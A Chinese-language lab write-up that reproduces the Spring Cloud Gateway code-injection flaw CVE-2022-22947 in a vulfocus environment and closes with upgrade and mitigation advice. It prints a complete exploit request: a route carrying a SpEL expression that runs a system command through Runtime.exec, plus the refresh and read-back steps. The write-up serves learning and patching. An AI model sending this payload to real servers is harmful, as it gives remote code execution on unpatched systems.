引言
Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。
Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
实验环境
攻击机(Win10):私有地址
受害机(Linux):vulfocus
复现过程
vulfocus搜索CVE-2022-22947直接启动环境。
访问环境,开始进行攻击,漏洞利用。
首先访问/actuator,确认actuator端口已经开启。
利用burp抓当前数据包并重放到repeater模块
访问gateway/routes/,获取路由信息。
当前只有路由index,默认会跳到http://example.com:80。
然后构建post请求包,/actuator/gateway/routes/hacker 添加一个包含恶意的SpEL表达式的路由
POST /actuator/gateway/routes/hacker HTTP/1.1
Host: 123.58.224.8:16546
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 312
{
"id": "hacker",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
刷新路由,POST /actuator/gateway/refresh
这里有一点需要注意
Content-Type: application/x-www-form-urlencoded
刷新路由的时候可能会有点慢,多试几次。
最后构造GET请求,访问/actuator/gateway/routes/hacker,查看命令执行结果,当前用户。
最后flag,直接访问/actuator/env,往下拉找到flag
修复建议
1、升级更新到以下版本:
Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7
2、缓解措施:
1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。
2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security
3.添加安全设备